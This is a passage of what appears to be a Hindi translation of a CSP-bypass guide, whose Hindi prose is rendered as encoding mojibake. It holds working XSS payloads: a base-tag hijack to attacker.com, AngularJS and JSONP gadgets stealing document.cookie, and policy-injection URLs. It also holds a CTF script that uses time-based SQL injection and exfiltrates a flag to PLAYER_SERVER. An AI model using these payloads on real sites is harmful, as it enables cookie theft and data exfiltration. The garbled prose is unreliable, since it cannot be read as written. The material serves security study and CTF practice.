рдХреЗ рд░реВрдк рдореЗрдВ рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рдП, рдЬрд┐рд╕рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдФрд░ рд╕рд░реНрд╡рд░ рдХреЗ рдмреАрдЪ рд╕реБрд╕рдВрдЧрдд рд╡реНрдпрд╛рдЦреНрдпрд╛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рд╣реЛ рд╕рдХреЗ рдФрд░ рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред
рдСрдирд▓рд╛рдЗрди рдЙрджрд╛рд╣рд░рдг: https://jsbin.com/werevijewa/edit?html,output
Iframes JS рдирд┐рд╖реНрдкрд╛рджрди
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
рдЧрд╛рдпрдм base-uri
рдпрджрд┐ base-uri рдирд┐рд░реНрджреЗрд╢ рдЧрд╛рдпрдм рд╣реИ рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ dangling markup injection рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдкреГрд╖реНрда рдПрдХ рд╕рд╛рдкреЗрдХреНрд╖ рдкрде рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░ рд░рд╣рд╛ рд╣реИ (рдЬреИрд╕реЗ <script src="/js/app.js">
) рдПрдХ Nonce рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рдЖрдк base tag рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рдЖрдкрдХреЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХрд░реЗ рдЬрд┐рд╕рд╕реЗ XSS рдкреНрд░рд╛рдкреНрдд рд╣реЛред
рдпрджрд┐ рдХрдордЬреЛрд░ рдкреГрд╖реНрда httpS рдХреЗ рд╕рд╛рде рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдмреЗрд╕ рдореЗрдВ httpS URL рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
<base href="https://www.attacker.com/">
AngularJS рдШрдЯрдирд╛рдПрдБ
рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреАрддрд┐ рдЬрд┐рд╕реЗ рд╕рд╛рдордЧреНрд░реА рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐ (CSP) рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдШрдЯрдирд╛рдУрдВ рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред рдлрд┐рд░ рднреА, AngularJS рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╕реНрдЯрдо рдШрдЯрдирд╛рдПрдБ рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИред рдПрдХ рдШрдЯрдирд╛ рдХреЗ рднреАрддрд░, AngularJS рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдСрдмреНрдЬреЗрдХреНрдЯ $event
рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдореВрд▓ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдШрдЯрдирд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ $event
рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ CSP рдХреЛ рджрд░рдХрд┐рдирд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, Chrome рдореЗрдВ, $event/event
рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдПрдХ path
рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдШрдЯрдирд╛ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдСрдмреНрдЬреЗрдХреНрдЯреЛрдВ рдХреА рдПрдХ рд╕рд░рдгреА рд░рдЦрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ window
рдСрдмреНрдЬреЗрдХреНрдЯ рд╣рдореЗрд╢рд╛ рдЕрдВрдд рдореЗрдВ рд╕реНрдерд┐рдд рд╣реЛрддрд╛ рд╣реИред рдпрд╣ рд╕рдВрд░рдЪрдирд╛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдмрдЪрд╛рд╡ рд░рдгрдиреАрддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред
рдЗрд╕ рд╕рд░рдгреА рдХреЛ orderBy
рдлрд╝рд┐рд▓реНрдЯрд░ рдХреА рдУрд░ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдХреЗ, рдЗрд╕реЗ рдкреБрдирд░рд╛рд╡реГрддреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЕрдВрддрд┐рдо рддрддреНрд╡ ( window
рдСрдмреНрдЬреЗрдХреНрдЯ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдлрд╝рдВрдХреНрд╢рди рдЬреИрд╕реЗ alert()
рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ред рдиреАрдЪреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
рдпрд╣ рд╕реНрдирд┐рдкреЗрдЯ ng-focus
рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╡реЗрдВрдЯ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ, $event.path|orderBy
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ path
рдПрд░реЗ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ alert()
рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП window
рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ document.cookie
рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддрд╛ рд╣реИред
рдЕрдиреНрдп Angular рдмрд╛рдпрдкрд╛рд╕ рдЦреЛрдЬреЗрдВ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS рдФрд░ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯреЗрдб рдбреЛрдореЗрди
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
рдПрдХ CSP рдиреАрддрд┐ рдЬреЛ Angular JS рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдбрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдбреЛрдореЗрди рдХреЛ рд╡реНрд╣рд╛рдЗрдЯрд▓рд┐рд╕реНрдЯ рдХрд░рддреА рд╣реИ, рдХреЛ рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдФрд░ рдХреБрдЫ рдХрдордЬреЛрд░ рд╡рд░реНрдЧреЛрдВ рдХреЗ рдЖрд╣реНрд╡рд╛рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдкрд░ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдЗрд╕ git repository рдкрд░ рдЙрдкрд▓рдмреНрдз рд╡рд┐рд╕реНрддреГрдд рдЧрд╛рдЗрдб рдореЗрдВ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред
рдХрд╛рд░реНрдпрд╢реАрд▓ рдкреЗрд▓реЛрдб:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
рдЕрдиреНрдп JSONP рдордирдорд╛рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдпрд╣рд╛рдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ (рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рд╣рдЯрд╛ рджрд┐рдП рдЧрдП рдпрд╛ рдареАрдХ рдХрд░ рджрд┐рдП рдЧрдП рд╣реИрдВ)
рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рдпрдкрд╛рд╕
рдЬрдм CSP рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддрд╛ рд╣реИ рддреЛ рдХреНрдпрд╛ рд╣реЛрддрд╛ рд╣реИ? рдпрджрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдПрдХ рдЕрд▓рдЧ рдореВрд▓ рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рдЕрднреА рднреА рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ред
рд╣рд╛рд▓рд╛рдВрдХрд┐, CSP рд╕реНрдкреЗрдХ 4.2.2.3. рдкрд╛рдереНрд╕ рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдореЗрдВ рд╡рд░реНрдгрди рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдпрджрд┐ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдПрдХ рдЕрд▓рдЧ рдкрде рдХреА рдУрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдореВрд▓ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдпрд╣рд╛рдВ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
рдпрджрд┐ CSP рдХреЛ https://www.google.com/a/b/c/d
рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдЪреВрдВрдХрд┐ рдкрде рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рджреЛрдиреЛрдВ /test
рдФрд░ /a/test
рд╕реНрдХреНрд░рд┐рдкреНрдЯ CSP рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рджрд┐рдП рдЬрд╛рдПрдВрдЧреЗред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдВрддрд┐рдо http://localhost:5555/301
рдХреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЪреВрдВрдХрд┐ рдпрд╣ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рд╣реИ, рдкрде рдкрд░ рд╡рд┐рдЪрд╛рд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛, рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдкрде рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕ рд░реАрдбрд╛рдпрд░реЗрдХреНрд╢рди рдХреЗ рд╕рд╛рде, рднрд▓реЗ рд╣реА рдкрде рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ, рдпрд╣ рдЕрднреА рднреА рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдЗрд╕рд▓рд┐рдП, рд╕рдмрд╕реЗ рдЕрдЪреНрдЫрд╛ рд╕рдорд╛рдзрд╛рди рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рд╣реИ рдХрд┐ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ рдХреЛрдИ рдУрдкрди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рди рд╣реЛрдВ рдФрд░ CSP рдирд┐рдпрдореЛрдВ рдореЗрдВ рдХреЛрдИ рдРрд╕реЗ рдбреЛрдореЗрди рди рд╣реЛрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
рд▓рдЯрдХрддреЗ рдорд╛рд░реНрдХрдЕрдк рдХреЗ рд╕рд╛рде CSP рдмрд╛рдпрдкрд╛рд╕
рдпрд╣рд╛рдБ рдкрдврд╝реЗрдВред
'unsafe-inline'; img-src *; XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рдХреЛрдб рдХреЗ рдЕрдВрджрд░ рдХреЛрдИ рднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ (XSS рдХреЛрдб рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ) рдФрд░ img-src *
рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдк рд╡реЗрдмрдкреЗрдЬ рдкрд░ рдХрд┐рд╕реА рднреА рд╕рдВрд╕рд╛рдзрди рд╕реЗ рдХреЛрдИ рднреА рдЫрд╡рд┐ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЖрдк рдЗрд╕ CSP рдХреЛ рдЫрд╡рд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЗрдЯрд╛ рдирд┐рдХрд╛рд▓рдХрд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЗрд╕ рдЕрд╡рд╕рд░ рдкрд░ XSS рдПрдХ CSRF рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдПрдХ рдкреГрд╖реНрда рдЬреЛ рдмреЙрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реБрд▓рдн рд╣реИ, рдПрдХ SQLi рд╣реИ, рдФрд░ рдПрдХ рдЫрд╡рд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдзреНрд╡рдЬ рдирд┐рдХрд╛рд▓рддрд╛ рд╣реИ):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
рдЖрдк рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЫрд╡рд┐ рдХреЗ рдЕрдВрджрд░ рдбрд╛рд▓реЗ рдЧрдП рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрджрд┐ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкреГрд╖реНрда рдЯреНрд╡рд┐рдЯрд░ рд╕реЗ рдЫрд╡рд┐рдпреЛрдВ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЖрдк рдПрдХ рд╡рд┐рд╢реЗрд╖ рдЫрд╡рд┐ рддреИрдпрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЙрд╕реЗ рдЯреНрд╡рд┐рдЯрд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ "unsafe-inline" рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ JS рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп XSS) рдЬреЛ рдЫрд╡рд┐ рдХреЛ рд▓реЛрдб рдХрд░реЗрдЧрд╛, рдЙрд╕рд╕реЗ JS рдХреЛ рдирд┐рдХрд╛рд▓реЗрдЧрд╛ рдФрд░ рдЙрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧрд╛: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде
рд╕реЗрд╡рд╛ рдХрд╛рд░реНрдпрдХрд░реНрддрд╛рдУрдВ рдХреА importScripts
рдлрд╝рдВрдХреНрд╢рди CSP рджреНрд╡рд╛рд░рд╛ рд╕реАрдорд┐рдд рдирд╣реАрдВ рд╣реИ:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
рдиреАрддрд┐ рдЗрдВрдЬреЗрдХреНрд╢рди
рдЕрдиреБрд╕рдВрдзрд╛рди: https://portswigger.net/research/bypassing-csp-with-policy-injection
рдХреНрд░реЛрдо
рдпрджрд┐ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдЬреЛ рдЖрдкрдиреЗ рднреЗрдЬрд╛ рд╣реИ, рдиреАрддрд┐ рдХреЗ рдШреЛрд╖рдгрд╛ рдХреЗ рдЕрдВрджрд░ рдкреЗрд╕реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдиреАрддрд┐ рдХреЛ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдмреЗрдХрд╛рд░ рд╣реЛ рдЬрд╛рдПред рдЖрдк рдЗрди рдмрд╛рдпрдкрд╛рд╕ рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ 'unsafe-inline' рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВ:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдирд┐рд░реНрджреЗрд╢ рдореМрдЬреВрджрд╛ script-src рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░реЗрдЧрд╛ред
рдЖрдк рдпрд╣рд╛рдБ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edge рдореЗрдВ рдпрд╣ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИред рдпрджрд┐ рдЖрдк CSP рдореЗрдВ рдХреЗрд╡рд▓ рдпрд╣ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ: ;_
Edge рдкреВрд░реА рдиреАрддрд┐ рдХреЛ рдЧрд┐рд░рд╛ рджреЗрдЧрд╛ред
рдЙрджрд╛рд╣рд░рдг: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; XSS (iframe) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ - рдЯрд╛рдЗрдо рдЕрдЯреИрдХ
рдирд┐рд░реНрджреЗрд╢ 'unsafe-inline'
рдХреА рдХрдореА рдкрд░ рдзреНрдпрд╛рди рджреЗрдВред
рдЗрд╕ рдмрд╛рд░ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЛ XSS рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ рдкреГрд╖реНрда рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ <iframe
ред рдЗрд╕ рдмрд╛рд░ рдЖрдк рдкреАрдбрд╝рд┐рдд рдХреЛ рдЙрд╕ рдкреГрд╖реНрда рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░реЗрдВрдЧреЗ рдЬрд╣рд╛рдБ рд╕реЗ рдЖрдк рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ (CSRF)ред рдЖрдк рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рд╕рдХрддреЗ, рд▓реЗрдХрд┐рди рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЖрдк рдкреГрд╖реНрда рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд▓рдЧрдиреЗ рд╡рд╛рд▓реЗ рд╕рдордп рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдЖрд╡рд╢реНрдпрдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕ рдмрд╛рд░ рдПрдХ рдЭрдВрдбрд╛ рдирд┐рдХрд╛рд▓рд╛ рдЬрд╛рдПрдЧрд╛, рдЬрдм рднреА рдПрдХ рдЪрд░ рд╕рд╣реА рдЕрдиреБрдорд╛рдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ SQLi рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЕрдзрд┐рдХ рд╕рдордп рд▓реЗрддреА рд╣реИ рдиреАрдВрдж рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдХрд╛рд░рдгред рдлрд┐рд░, рдЖрдк рдЭрдВрдбрд╛ рдирд┐рдХрд╛рд▓рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Via Bookmarklets
рдпрд╣ рд╣рдорд▓рд╛ рдХреБрдЫ рд╕рд╛рдорд╛рдЬрд┐рдХ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдЧрд╛ рдЬрд╣рд╛рдБ рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЗ рдмреБрдХрдорд╛рд░реНрдХрд▓реЗрдЯ рдкрд░ рдПрдХ рд▓рд┐рдВрдХ рдЦреАрдВрдЪрдиреЗ рдФрд░ рдЫреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдордирд╛рддрд╛ рд╣реИред рдпрд╣ рдмреБрдХрдорд╛рд░реНрдХрд▓реЗрдЯ рджреБрд╖реНрдЯ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░реЗрдЧрд╛ рдЬреЛ рдЦреАрдВрдЪрдиреЗ рдФрд░ рдЫреЛрдбрд╝рдиреЗ рдпрд╛ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдкрд░ рд╡рд░реНрддрдорд╛рди рд╡реЗрдм рд╡рд┐рдВрдбреЛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдЧрд╛, CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ 